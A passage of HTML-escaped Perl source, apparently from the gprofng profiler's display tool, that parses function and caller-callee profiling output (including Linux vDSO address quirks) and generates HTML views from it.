                  else
                    {
                      $routine = $1;
                    }
                  if ($is_calls)
                    {
                      if (substr ($routine,0,1) eq &quot;*&quot;)
                        {
                          $routine = substr ($routine,1);
                        }
                    }
                  for $vdso_key (keys %LINUX_vDSO)
                    {
                      if ($routine eq $LINUX_vDSO{$vdso_key})
                        {
#------------------------------------------------------------------------------
# presume no duplicates - at least can check offset
#------------------------------------------------------------------------------
                          if ($vdso_key =~ /(\d+):(\S+)/)
#------------------------------------------------------------------------------
# no -ve segments allowed and not expected
#------------------------------------------------------------------------------
                            {
                              if ($2 eq $offset)
                                {
#------------------------------------------------------------------------------
# the real segment
#------------------------------------------------------------------------------
                                  $segment = $1;
                                  gp_message (&quot;debugXL&quot;, $subr_name, &quot;rescued segment for $PC_Address($routine)-&gt;$segment:$offset $FUNC_FILE&quot;);
                                  $PC_Address = $segment.&quot;:&quot;.$offset; # PC Addr.
                                  gp_message (&quot;debugXL&quot;, $subr_name, &quot;vdso line -&gt;$line&quot;);
                                  $line = $PC_Address.(&#039; &#039; x (length ($spaces)-2)).$rest;
                                  gp_message (&quot;debugXL&quot;, $subr_name, &quot;becomes   -&gt;$line&quot;);
                                  last;
                                }
                            }
                        }
                    }
                }
              else
                {
                  gp_message (&quot;debug&quot;, $subr_name, &quot;name_regex failure for file $FUNC_FILE&quot;);
                }
            }

#------------------------------------------------------------------------------
# a rotten exception for Linux vDSO
# With a BIG &quot;PC Address&quot; like 32767:0x841fecd0, the functions.sort.func_PC file
# can have lines like
#-&gt;32767:0x841fecd0161.553   527182898954  131.936    100003     __vdso_gettimeofday&lt;-
#-&gt;32767:0x153ff810 42.460   0                   0   __vdso_gettimeofday&lt;-
#-&gt;-1:0xff600000   99.040   0                   0   [vsyscall]&lt;-
#  (Real PC Address: 4294967295:0xff600000)
#-&gt; 4294967295:0xff600000   99.040   0                   0   [vsyscall]&lt;-
#-&gt; 9:0x00000020   49.310   0                   0   &lt;static&gt;@0x7fff153ff600 ([vdso])&lt;-
# Rats!
# $LINUX_vDSO{substr($order[$i]{&quot;addressobjtext&quot;},1)} = $order[$i]{&quot;routine&quot;};
#------------------------------------------------------------------------------

          $not_printed = $TRUE;
          for $vdso_key (keys %LINUX_vDSO)
            {
              if ($line =~ /^(\s*)($vdso_key)(.*)$/)
                {
                  $blanks = 1;
                  $rest   = 3;
                  $lblanks = length ($blanks);
                  $lvdso_key = length ($vdso_key);
                  $PC_Address = $vdso_key; # PC Addr.
                  $offy = ($lblanks+$lvdso_key &lt; $pc_len) ? $pc_len : $lblanks+$lvdso_key;
                  gp_message (&quot;debugXL&quot;, $subr_name, &quot;offy = $offy for -&gt;$line&lt;-&quot;);
                  if ($pc_len)
                    {
                      print FUNC_FILE_NO_PC substr ($line,$offy).&quot;\n&quot;;
                      $not_printed = $FALSE;
                    }
                  else
                    {
                      die (&quot;sod1a&quot;);
                    }
                  gp_message (&quot;debugXL&quot;, $subr_name, &quot;vdso line -&gt;$line&quot;);
                  if (substr ($line,$lblanks+$lvdso_key,1) eq &quot; &quot;)
                    {
#------------------------------------------------------------------------------
# O.K. no field abuttal
#------------------------------------------------------------------------------
                      gp_message (&quot;debugXL&quot;, $subr_name, &quot;vdso no field abuttal line -&gt;$line&quot;);
                    }
                  else
                    {
                      gp_message (&quot;debugXL&quot;, $subr_name, &quot;vdso field abuttal line -&gt;$line&quot;);
                      $line = $blanks.$vdso_key.&quot; &quot;.$rest;
                    }
                  gp_message (&quot;debugXL&quot;, $subr_name, &quot;becomes   -&gt;$line&quot;);
                  last;
                }
            }
          if ($not_printed)
            {
              if ($pc_len)
                {
                  print FUNC_FILE_NO_PC substr ($line,$pc_len).&quot;\n&quot;;
                }
              else
                {
                  die (&quot;sod1b&quot;);
                }
              $not_printed = $FALSE;
            }
        }
      else
        {
          if (!$pc_len)
            {
              if ($line =~ /(^\s*PC Addr.\s+)(\S+)/)
                {
                  $pc_len = length ($1); # say 15
                  print FUNC_FILE_NO_PC substr ($line,$pc_len).&quot;\n&quot;;
                }
              else
                {
                  print FUNC_FILE_NO_PC &quot;$line\n&quot;;
                }
            }
          else
            {
              if ($pc_len)
                {
                  my $strlen = length ($line);
                  if ($strlen &gt; 0 )
                    {
                      print FUNC_FILE_NO_PC substr ($line,$pc_len).&quot;\n&quot;;
                    }
                  else
                    {
                      print FUNC_FILE_NO_PC &quot;\n&quot;;
                    }
                }
              else
                {
                  die (&quot;sod2&quot;);
                }
            }
          next;
        }
      $routine = &quot;&quot;;
      if ($line =~ /$name_regex/)
        {
          if ($metric_ok)
            {
              $metric_value = $1; # whatever
              $routine = $2;
            }
          else
            {
              $routine = $1;
            }
        }

      if ($is_calls)
        {
          if (substr ($routine,0,1) eq &quot;*&quot;)
            {
              $routine = substr ($routine,1);
            }
        }
      if (length ($routine))
        {
          $order[$index_val]{&quot;routine&quot;} = $routine;
          if ($metric_ok)
            {
              $order[$index_val]{&quot;metric_value&quot;} = $metric_value;
            }
          $order[$index_val]{&quot;PC Address&quot;} = $PC_Address;
          $df_flag = 0;
          if (not exists ($functions_per_metric_indexes{$routine}))
            {
              $functions_per_metric_indexes{$routine} = [$index_val];
            }
          else
            {
              push (@{$functions_per_metric_indexes{$routine}},$index_val); # add $RI to list
            }
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;updated functions_per_metric_indexes $routine [$index_val] line = $line&quot;);
          if ($PC_Address =~ /\s*(\S+):(\S+)/)
            {
              my ($segment,$offset);
              $segment = $1;
              $offset = $2;
              $address_decimal = bigint::hex ($offset); # decimal
##              $full_address_field = &#039;@&#039;.$segment.&quot;:&quot;.$offset; # e.g. @2:0x0003f280
              $full_address_field = $segment.&quot;:&quot;.$offset; # e.g. @2:0x0003f280
              $order[$index_val]{&quot;addressobj&quot;} = $address_decimal;
              $order[$index_val]{&quot;addressobjtext&quot;} = $full_address_field;
            }
#------------------------------------------------------------------------------
# Check uniqueness
#------------------------------------------------------------------------------
          if (not exists ($functions_per_metric_first_index{$routine}{$PC_Address}))
            {
              $functions_per_metric_first_index{$routine}{$PC_Address} = $index_val;
              $u++; #$RI
            }
          else
            {
              if (!($metric eq &quot;calls&quot; || $metric eq &quot;calltree&quot;))
                {
                  gp_message (&quot;debug&quot;, $subr_name, &quot;file $FUNC_FILE: function $routine already has a PC Address&quot;);
                }
            }

          $index_val++;
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;updated index_val = $index_val&quot;);
          $n++;
          next;
        }
      else
        {
          if ($n &amp;&amp; length ($line))
            {
              my $msg = &quot;unexpected line format in functions file $FUNC_FILE line-&gt;$line&lt;-&quot;;
              gp_message (&quot;assertion&quot;, $subr_name, $msg);
            }
        }
    }
  close (FUNC_FILE);
  close (FUNC_FILE_NO_PC);

  for my $i (sort keys %functions_per_metric_indexes)
    {
      my $values = &quot;&quot;;
      for my $fields (sort keys @{ $functions_per_metric_indexes{$i} })
        {
           $values .= &quot;$functions_per_metric_indexes{$i}[$fields] &quot;;
        }
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;on return: functions_per_metric_indexes{$i} = $values&quot;);
    }

  return (\@order, \%functions_per_metric_first_index, \%functions_per_metric_indexes);

} #-- End of subroutine function_info

#------------------------------------------------------------------------------
# Generate a html header.
#------------------------------------------------------------------------------
sub generate_a_header
{
  my $subr_name = get_my_name ();

  my ($page_text_ref, $size_text_ref, $position_text_ref) = @_;

  my $page_text     = ${ $page_text_ref };
  my $size_text     = ${ $size_text_ref };
  my $position_text = ${ $position_text_ref };
  my $html_header;

  $html_header  = &quot;&lt;div class=\&quot;&quot; . $position_text . &quot;\&quot;&gt;\n&quot;;
  $html_header .= &quot;&lt;&quot;. $size_text . &quot;&gt;\n&quot;;
  $html_header .= $page_text . &quot;\n&quot;;
  $html_header .= &quot;&lt;/&quot;. $size_text . &quot;&gt;\n&quot;;
  $html_header .= &quot;&lt;/div&gt;&quot;;

  gp_message (&quot;debugXL&quot;, $subr_name, &quot;on exit page_title = $html_header&quot;);

  return (\$html_header);

} #-- End of subroutine generate_a_header

#------------------------------------------------------------------------------
# Generate the caller-callee information.
#------------------------------------------------------------------------------
sub generate_caller_callee
{
  my $subr_name = get_my_name ();

  my ($number_of_metrics_ref, $function_info_ref, $function_view_structure_ref,
      $function_address_info_ref, $addressobjtextm_ref,
      $input_string_ref) = @_;

  my $number_of_metrics       = ${ $number_of_metrics_ref };
  my @function_info           = @{ $function_info_ref };
  my %function_view_structure = %{ $function_view_structure_ref };
  my %function_address_info   = %{ $function_address_info_ref };
  my %addressobjtextm         = %{ $addressobjtextm_ref };
  my $input_string            = ${ $input_string_ref };

  my @caller_callee_data = ();
  my $caller_callee_data_ref;
  my $outfile;
  my $input_line;

  my $fullname;
  my $separator = &quot;cuthere&quot;;

  my @address_field = ();
  my @fields = ();
  my @function_names = ();
  my @marker = ();
  my @metric_values = ();
  my @word_index_values = ();
  my @header_lines = ();

  my $all_metrics;
  my $elements_in_name;
  my $full_hex_address;
  my $hex_address;
  my $msg;

  my $remainder2;

  my $file_title;
  my $page_title;
  my $size_text;
  my $position_text;
  my @html_metric_sort_header = ();
  my $html_header;
  my $html_title_header;
  my $html_home;
  my $html_acknowledgement;
  my $html_end;
  my $html_line;

  my $marker_target_function;
  my $max_metrics_length = 0;
  my $metrics_length;
  my $modified_line;
  my $name_regex;
  my $no_of_fields;
  my $routine;
  my $routine_length;
  my $string_length;
  my $top_header;
  my $total_header_lines;
  my $word_index_values_ref;
  my $infile;

  my $outputdir               = append_forward_slash ($input_string);
  my $LANG                    = $g_locale_settings{&quot;LANG&quot;};
  my $decimal_separator       = $g_locale_settings{&quot;decimal_separator&quot;};

  gp_message (&quot;debug&quot;, $subr_name, &quot;decimal_separator = $decimal_separator&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;outputdir = $outputdir&quot;);

  $infile  = $outputdir . &quot;caller-callee-PC2&quot;;
  $outfile = $outputdir . $g_html_base_file_name{&quot;caller_callee&quot;} . &quot;.html&quot;;

  gp_message (&quot;debug&quot;, $subr_name, &quot;infile = $infile outfile = $outfile&quot;);

  open (CALLER_CALLEE_IN, &quot;&lt;&quot;, $infile)
    or die (&quot;unable to open caller file $infile for reading - &#039;$!&#039;&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;opened file $infile for reading&quot;);

  open (CALLER_CALLEE_OUT, &quot;&gt;&quot;, $outfile)
    or die (&quot;unable to open $outfile for writing - &#039;$!&#039;&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;opened file $outfile for writing&quot;);

  $msg = &quot;building caller-callee file &quot; . $outfile;
  gp_message (&quot;debug&quot;, $subr_name, $msg);
  gp_message (&quot;verbose&quot;, $subr_name, $msg);

#------------------------------------------------------------------------------
# Generate some of the structures used in the HTML output.
#------------------------------------------------------------------------------
  $file_title  = &quot;Caller-callee overview&quot;;
  $html_header = ${ create_html_header (\$file_title) };
  $html_home   = ${ generate_home_link (&quot;right&quot;) };

  $page_title    = &quot;Caller Callee View&quot;;
  $size_text     = &quot;h2&quot;;
  $position_text = &quot;center&quot;;
  $html_title_header = ${ generate_a_header (\$page_title,
					     \$size_text,
					     \$position_text) };

#------------------------------------------------------------------------------
# Read all of the file into an array with the name caller_callee_data.
#------------------------------------------------------------------------------
  chomp (@caller_callee_data = &lt;CALLER_CALLEE_IN&gt;);

#------------------------------------------------------------------------------
# Remove a legacy redundant string, if any.
#------------------------------------------------------------------------------
  @caller_callee_data = @{ remove_redundant_string (\@caller_callee_data)};

#------------------------------------------------------------------------------
# Typical structure of the input file:
#
# Current metrics: address:name:e.totalcpu:e.cycles:e+insts:e+llm
# Current Sort Metric: Exclusive Total CPU Time ( e.totalcpu )
# Functions sorted by metric: Exclusive Total CPU Time
# Callers and callees sorted by metric: Attributed Total CPU Time
#
# PC Addr.       Name              Attr.     Attr. CPU  Attr.         Attr.
#                                  Total     Cycles     Instructions  Last-Level
#                                  CPU sec.   sec.      Executed      Cache Misses
# 1:0x00000000  *&lt;Total&gt;           3.502     4.005      15396819700   24024250
# 7:0x00008070   start_thread      3.342     3.865      14500538981   23824045
# 6:0x000233a0   __libc_start_main 0.160     0.140        896280719     200205
#
# PC Addr.       Name              Attr.     Attr. CPU  Attr.         Attr.
#                                  Total     Cycles     Instructions  Last-Level
#                                  CPU sec.   sec.      Executed      Cache Misses
# 2:0x000021f9   driver_mxv        3.342     3.865      14500538981   23824045
# 2:0x000021ae  *mxv_core          3.342     3.865      14500538981   23824045
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# Scan the input file.  The first lines are assumed to be part of the header,
# so we store those. The diagnostic lines that echo some settings are also
# stored, but currently not used.
#------------------------------------------------------------------------------
  my $scan_header = $FALSE;
  my $scan_caller_callee_data = $FALSE;
  my $data_function_block = &quot;&quot;;
  my @function_blocks = ();
  my $first = $TRUE;
  my @html_caller_callee = ();
  my @top_level_header = ();

#------------------------------------------------------------------------------
# The regexes.
#------------------------------------------------------------------------------
  my $empty_line_regex       = &#039;^\s*$&#039;;
  my $line_of_interest_regex = &#039;\s*(\d+:0x[a-fA-F0-9]+)\s+(\**)(.*)&#039;;
  my $get_hex_address_regex  = &#039;(\d+):0x(\S+)&#039;;
  my $get_metric_field_regex = &#039;)\s+([\s\d&#039; . $decimal_separator . &#039;]*)&#039;;
  my $header_name_regex      = &#039;(.*\.)(\s+)(Name)\s+(.*)&#039;;
  my $sorted_by_regex        = &#039;sorted by metric:&#039;;
  my $current_regex          = &#039;^Current&#039;;
  my $get_addr_offset_regex  = &#039;^@\d+:&#039;;

#------------------------------------------------------------------------------
# Get the length of the first metric field across all lines.  This value is
# used to pad the first metric with spaces and get the alignment right.
#
# Scan the input data and find the line(s) with metric values.  A complication
# is that a function name may consists of more than one field.
#
# Note.  This part could be used to parse the other elements of the input file,
# but that makes the loop very complicated.   Instead, we re-scan the data
# below and process each block separately.
#
# Since this data is all in memory and relatively small, the performance should
# not suffer much, but it does improve the readability of the code.
#------------------------------------------------------------------------------
  $g_max_length_first_metric = 0;

  my @hex_addresses = ();
  my @metrics_array = ();
  my @length_first_metric = ();
  my @special_marker = ();
  my @the_function_name = ();
  my @the_metrics = ();

  my $find_hex_address_regex = &#039;\s*(\d+:0x[a-fA-F0-9]+)\s+(.*)&#039;;
  my $find_metric_values_regex  = &#039;\)\s+\[.*\]\s+(\d+&#039;;
     $find_metric_values_regex .= &#039;[\.\d\ ]*)|\)\s+(\d+[\.\d\ ]*)&#039;;
  my $find_marker_regex = &#039;(^\*).*&#039;;

  my @html_block_prologue;
  my @html_code_function_block;
  my $marker;
  my $list_with_metrics;
  my $reduced_line;

  $msg  = &quot;loop over the caller-callee data - number of lines = &quot;;
  $msg .= ($#caller_callee_data + 1);
  gp_message (&quot;debugXL&quot;, $subr_name, $msg);

  for (my $line = 0; $line &lt;= $#caller_callee_data; $line++)
    {
      $input_line = $caller_callee_data[$line];
      $reduced_line = $input_line;

      $msg = &quot;line = &quot; . $line . &quot; input_line = &quot; . $input_line;
      gp_message (&quot;debugXL&quot;, $subr_name, $msg);

      if ($input_line =~ /$find_hex_address_regex/)
#------------------------------------------------------------------------------
# This is an input line of interest.
#------------------------------------------------------------------------------
        {
          my ($hex_address_ref, $marker_ref, $reduced_line_ref, 
              $list_with_metrics_ref) =
                                       split_function_data_line (\$input_line);

          $hex_address       = ${ $hex_address_ref };
          $marker            = ${ $marker_ref };
          $reduced_line      = ${ $reduced_line_ref };
          $list_with_metrics = ${ $list_with_metrics_ref };

          $msg = &quot;RESULT full_hex_address = &quot; . $hex_address;
          $msg .= &quot; -- metric values = &quot; . $list_with_metrics;
          $msg .= &quot; -- marker = &quot; . $marker;
          $msg .= &quot; -- function name = &quot; . $reduced_line;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);
 
#------------------------------------------------------------------------------
# Store the address and marker.
#------------------------------------------------------------------------------
          push (@the_function_name, $reduced_line);
          push (@hex_addresses, $hex_address);
          if ($marker eq &quot;*&quot;)
            {
              push (@special_marker, &quot;*&quot;);
            }
          else
            {
              push (@special_marker, &quot;X&quot;);
            }
#------------------------------------------------------------------------------
# Processing of the metrics.
#------------------------------------------------------------------------------
          @metrics_array = split (&quot; &quot;, $list_with_metrics);

#------------------------------------------------------------------------------
# If the first metric is 0. (or 0, depending on the locale), the calculation
# of the length needs to be adjusted, because 0. is really 0.000.
#
# While we could easily add 3 to the length, we assign a symbolic value to the
# first metric (ZZZ) and then compute the length.  This makes things clearer.
# I hope ;-)
#------------------------------------------------------------------------------
          my $first_metric = $metrics_array[0];
          $msg = &quot;first metric found = &quot; . $first_metric;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);
          if ($first_metric =~ /^0$decimal_separator$/)
            {
              $first_metric = &quot;0.ZZZ&quot;;
              $msg = &quot;fixed up $first_metric&quot;;
              gp_message (&quot;debugXL&quot;, $subr_name, $msg);
            }
              $g_max_length_first_metric = max ($g_max_length_first_metric, 
						length ($first_metric));

              $msg = &quot;first_metric = $first_metric &quot; .
                     &quot;g_max_length_first_metric = $g_max_length_first_metric&quot;;
              gp_message (&quot;debugXL&quot;, $subr_name, $msg);
              push (@length_first_metric, length ($first_metric));
              push (@the_metrics, $list_with_metrics);
        }
    }

  $msg = &quot;the following function names have been found&quot;;
  gp_message (&quot;debugM&quot;, $subr_name, $msg);
  for my $i (0 .. $#the_function_name)
    {
      $msg = &quot;the_function_name{&quot; . $i . &quot;] = &quot; . $the_function_name[$i];
      gp_message (&quot;debugM&quot;, $subr_name, $msg);
    }

  $msg = &quot;final: g_max_length_first_metric = &quot; . $g_max_length_first_metric;
  gp_message (&quot;debugM&quot;, $subr_name, $msg);
  $msg = &quot;\$#hex_addresses = &quot; . $#hex_addresses;
  gp_message (&quot;debugM&quot;, $subr_name, $msg);

#------------------------------------------------------------------------------
# Main loop over the input data.
#------------------------------------------------------------------------------
  my $index_start = 0;  # 1
  my $index_end   = -1;  # 0
  for (my $line = 0; $line &lt;= $#caller_callee_data; $line++)
    {
      $input_line = $caller_callee_data[$line];

      if ($input_line =~ /$header_name_regex/)
        {
          $scan_header = $TRUE;
          $msg  = &quot;line = &quot; . $line . &quot; encountered start of the header&quot;;
          $msg .= &quot; scan_header = &quot; . $scan_header . &quot; first = &quot; . $first;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);
        }
      elsif (($input_line =~ /$sorted_by_regex/) or
             ($input_line =~ /$current_regex/))
        {
          $msg =  &quot;line = &quot; . $line . &quot; captured top level header: &quot; .
                     &quot;input_line = &quot; . $input_line;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);

          push (@top_level_header, $input_line);
        }
      elsif ($input_line =~ /$line_of_interest_regex/)
        {
          $index_end++;
          $scan_header             = $FALSE;
          $scan_caller_callee_data = $TRUE;
          $data_function_block    .= $separator . $input_line;

          $msg = &quot;line = $line updated index_end   = $index_end&quot;;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);
          $msg = &quot;line = $line input_line          = &quot; . $input_line;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);
          $msg = &quot;line = $line data_function_block = &quot; . $data_function_block;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);
        }
      elsif (($input_line =~ /$empty_line_regex/) and
             ($scan_caller_callee_data))
        {
#------------------------------------------------------------------------------
# An empty line is interpreted as the end of the current block and we process
# this, including the generation of the html code for this block.
#------------------------------------------------------------------------------
          $first = $FALSE;
          $scan_caller_callee_data = $FALSE;

          $msg = &quot;new block&quot;;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);
          $msg = &quot;line = &quot; . $line . &quot; index_start = &quot; . $index_start;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);
          $msg = &quot;line = &quot; . $line . &quot; index_end   = &quot; . $index_end;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);

          $msg  = &quot;line = &quot; . $line . &quot; data_function_block = &quot;;
          $msg .= $data_function_block;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);

          push (@function_blocks, $data_function_block);

##          $msg  = &quot;    generating the html blocks (&quot;;
##          $msg .= $index_start . &quot; - &quot; . $index_end .&quot;)&quot;;
##          gp_message (&quot;verbose&quot;, $subr_name, $msg);

          my ($html_block_prologue_ref, $html_code_function_block_ref) =
					generate_html_function_blocks (
						\$index_start,
						\$index_end,
						\@hex_addresses,
						\@the_metrics,
						\@length_first_metric,
						\@special_marker,
						\@the_function_name,
						\$separator,
						$number_of_metrics_ref,
						\$data_function_block,
						$function_info_ref,
						$function_view_structure_ref);

          @html_block_prologue      = @{ $html_block_prologue_ref };
          @html_code_function_block = @{ $html_code_function_block_ref };

          for my $lines (0 .. $#html_code_function_block)
            {
              $msg = &quot;final html_code_function_block[&quot; . $lines . &quot;] = &quot; .
                        $html_code_function_block[$lines];
              gp_message (&quot;debugXL&quot;, $subr_name, $msg);
            }

          $data_function_block = &quot;&quot;;

          push (@html_caller_callee, @html_block_prologue);
          push (@html_caller_callee, @header_lines);
          push (@html_caller_callee, @html_code_function_block);

          $index_start = $index_end + 1;
          $index_end   = $index_start - 1;
          $msg = &quot;line = &quot; . $line . &quot; reset index_start = &quot; . $index_start;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);
          $msg = &quot;line = &quot; . $line . &quot; reset index_end   = &quot; . $index_end;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);
        }

#------------------------------------------------------------------------------
# Only capture the first header.  They are all identical.
#------------------------------------------------------------------------------
      if ($scan_header and $first)
        {
          if (defined ($4))
            {
#------------------------------------------------------------------------------
# This group is only defined for the first line of the header.
#------------------------------------------------------------------------------
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;header1 = $4&quot;);
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;extra   = $3 spaces=x$2x&quot;);
              my $newline = &quot;&lt;b&gt;&quot; . $4 . &quot;&lt;/b&gt;&quot;;
              push (@header_lines, $newline);
            }
          elsif ($input_line =~ /\s*(.*)/)
            {
#------------------------------------------------------------------------------
# Capture the subsequent header lines.
#------------------------------------------------------------------------------
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;headern = $1&quot;);
              my $newline = &quot;&lt;b&gt;&quot; . $1 . &quot;&lt;/b&gt;&quot;;
              push (@header_lines, $newline);
            }
        }

    }

  for my $i (0 .. $#header_lines)
    {
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;header_lines[$i] = $header_lines[$i]&quot;);
    }
  for my $i (0 .. $#function_blocks)
    {
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;function_blocks[$i] = $function_blocks[$i]&quot;);
    }

  my $number_of_blocks = $#function_blocks + 1;
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;There are &quot; . $number_of_blocks . &quot; function blocks:&quot;);

  for my $i (0 .. $#function_blocks)
    {
#------------------------------------------------------------------------------
# The split produces an empty first field and is why we skip the first field.
#------------------------------------------------------------------------------
##      my @entries = split (&quot;cuthere&quot;, $function_blocks[$i]);
      my @entries = split ($separator, $function_blocks[$i]);
      for my $k (1 .. $#entries)
        {
          my $msg = &quot;entries[&quot; . $k . &quot;] = &quot;. $entries[$k];
          gp_message (&quot;debugXL&quot;, $subr_name, $k . $msg);
        }
    }

#------------------------------------------------------------------------------
# Parse and process the individual function blocks.
#------------------------------------------------------------------------------
  $msg  = &quot;Parse and process function blocks - total blocks = &quot;;
  $msg .= $#function_blocks + 1;
  gp_message (&quot;verbose&quot;, $subr_name, $msg);

  for my $i (0 .. $#function_blocks)
    {
      $msg = &quot;process function block &quot; . $i;
      gp_message (&quot;debugXL&quot;, $subr_name, $msg);

      $msg = &quot;function_blocks[&quot; . $i . &quot;] = &quot;. $function_blocks[$i];
      gp_message (&quot;debugXL&quot;, $subr_name, $msg);
#------------------------------------------------------------------------------
# This split produces an empty first field.  This is why we skip this in the
# loop below.
#------------------------------------------------------------------------------
      my @entries = split ($separator, $function_blocks[$i]);

#------------------------------------------------------------------------------
# An example of the content of array @entries:
# &lt;empty line&gt;
# 6:0x0003ad20   drand48           0.100     0.084        768240570          0
# 6:0x0003af50  *erand48_r         0.080     0.084        768240570          0
# 6:0x0003b160   __drand48_iterate 0.020     0.                   0          0
#------------------------------------------------------------------------------
      for my $k (1 .. $#entries)
        {
          my $input_line = $entries[$k];

          $msg = &quot;input_line = entries[&quot; . $k . &quot;] = &quot;. $entries[$k];
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);

          my ($hex_address_ref, $marker_ref, $reduced_line_ref,
              $list_with_metrics_ref) =
                                       split_function_data_line (\$input_line);

          $full_hex_address       = ${ $hex_address_ref };
          $marker_target_function = ${ $marker_ref };
          $routine                = ${ $reduced_line_ref };
          $all_metrics            = ${ $list_with_metrics_ref };

          $msg = &quot;RESULT full_hex_address = &quot; . $full_hex_address;
          $msg .= &quot; -- metric values = &quot; . $all_metrics;
          $msg .= &quot; -- marker = &quot; . $marker_target_function;
          $msg .= &quot; -- function name = &quot; . $routine;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);

          $metrics_length = length ($all_metrics);
          $max_metrics_length = max ($max_metrics_length, $metrics_length);

          if ($full_hex_address =~ /(\d+):0x(\S+)/)
            {
              $hex_address = &quot;0x&quot; . $2;
            }
          push (@marker, $marker_target_function);

          push (@address_field, $hex_address);
          push (@address_field, $full_hex_address);
          $msg  = &quot;pushed &quot; . $full_hex_address;
          $msg .= &quot; to array address_field&quot;;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);

          $modified_line = $all_metrics . &quot; &quot; . $routine;
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;xxxxxxx = $modified_line&quot;);

          push (@metric_values, $all_metrics);
          $msg = &quot;pushed &quot; . $all_metrics . &quot; to array metric_values&quot;;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);

          push (@function_names, $routine);
          $msg = &quot;pushed &quot; . $routine . &quot; to array function_names&quot;;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);
        }

      $total_header_lines = $#header_lines + 1;
      $msg = &quot;total_header_lines = &quot; . $total_header_lines;
      gp_message (&quot;debugXL&quot;, $subr_name, $msg);

      gp_message (&quot;debugXL&quot;, $subr_name, &quot;Final output&quot;);
      for my $i (keys @header_lines)
        {
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;$header_lines[$i]&quot;);
        }
      for my $i (0 .. $#function_names)
        {
          $msg  = $metric_values[$i] . &quot; &quot; . $marker[$i]; 
          $msg .= $function_names[$i] . &quot; (&quot; . $address_field[$i] . &quot;)&quot;;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);
        }
#------------------------------------------------------------------------------
# Check if this function has multiple occurrences.
# TBD: Replace by the function call for this.
#------------------------------------------------------------------------------
      $msg  = &quot;check for multiple occurrences - function_names = &quot;;
      $msg .= ($#function_names + 1);
      gp_message (&quot;debugXL&quot;, $subr_name, $msg);

      for my $i (0 .. $#function_names)
        {
          my $current_address = $address_field[$i];
          my $found_a_match;
          my $ref_index;
          my $alt_name;
          my $addr_offset;
 
          $routine = $function_names[$i];
          $alt_name = $routine;
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;checking for routine = $routine&quot;);
          if (exists ($g_multi_count_function{$routine}))
            {
#------------------------------------------------------------------------------
# TBD: Scan all of the function_info list. Or beter: add index to
# g_multi_count_function.
#------------------------------------------------------------------------------

              $found_a_match = $FALSE;

              $msg  = $routine . &quot;: occurrences = &quot;;
              $msg .= $g_function_occurrences{$routine};
              gp_message (&quot;debugXL&quot;, $subr_name, $msg);

              for my $ref (keys @{ $g_map_function_to_index{$routine} })
                {
                  $ref_index = $g_map_function_to_index{$routine}[$ref];

                  $msg  = $routine . &quot;: retrieving duplicate entry at &quot;;
                  $msg .= &quot;ref_index = &quot; . $ref_index;
                  gp_message (&quot;debugXL&quot;, $subr_name, $msg);
                  $msg  = $routine . &quot;: function_info[&quot; . $ref_index;
                  $msg .= &quot;]{alt_name} = &quot;;
                  $msg .= $function_info[$ref_index]{&#039;alt_name&#039;};
                  gp_message (&quot;debugXL&quot;, $subr_name, $msg);

                  $addr_offset = $function_info[$ref_index]{&quot;addressobjtext&quot;};
                  $msg = $routine . &quot;: addr_offset = &quot; . $addr_offset;
                  gp_message (&quot;debugXL&quot;, $subr_name, $msg);

                  $addr_offset =~ s/$get_addr_offset_regex//;
                  $msg = $routine . &quot;: addr_offset = &quot; . $addr_offset;
                  gp_message (&quot;debugXL&quot;, $subr_name, $msg);

                  if ($addr_offset eq $current_address)
                    {
                      $found_a_match = $TRUE;
                      last;
                    }
                }
              $msg  = $function_info[$ref_index]{&#039;alt_name&#039;};
              $msg .= &quot; is the actual function for i = &quot; . $i . &quot; &quot;;
              $msg .= $found_a_match;
              gp_message (&quot;debugXL&quot;, $subr_name, $msg);

              $alt_name = $function_info[$ref_index]{&#039;alt_name&#039;};
            }
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;alt_name = $alt_name&quot;);
        }
      $msg = &quot;completed the check for multiple occurrences&quot;;
      gp_message (&quot;debugXL&quot;, $subr_name, $msg);

#------------------------------------------------------------------------------
# Figure out the column width.  Since the columns in the header may include
# spaces, we use the first line with metrics for this.
#------------------------------------------------------------------------------
      my $top_header = $metric_values[0];
      my $word_index_values_ref = find_words_in_line (\$top_header);
      my @word_index_values = @{ $word_index_values_ref };

# $i = 0 0 4
# $i = 1 10 14
# $i = 2 21 31
# $i = 3 35 42
      for my $i (keys @word_index_values)
        {
          $msg  = &quot;i = &quot; . $i . &quot; &quot; . $word_index_values[$i][0] . &quot; &quot;;
          $msg .= $word_index_values[$i][1];
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);
        }

#------------------------------------------------------------------------------
# Empty the buffers before processing the next block with data.
#------------------------------------------------------------------------------
      @function_names = ();
      @metric_values = ();
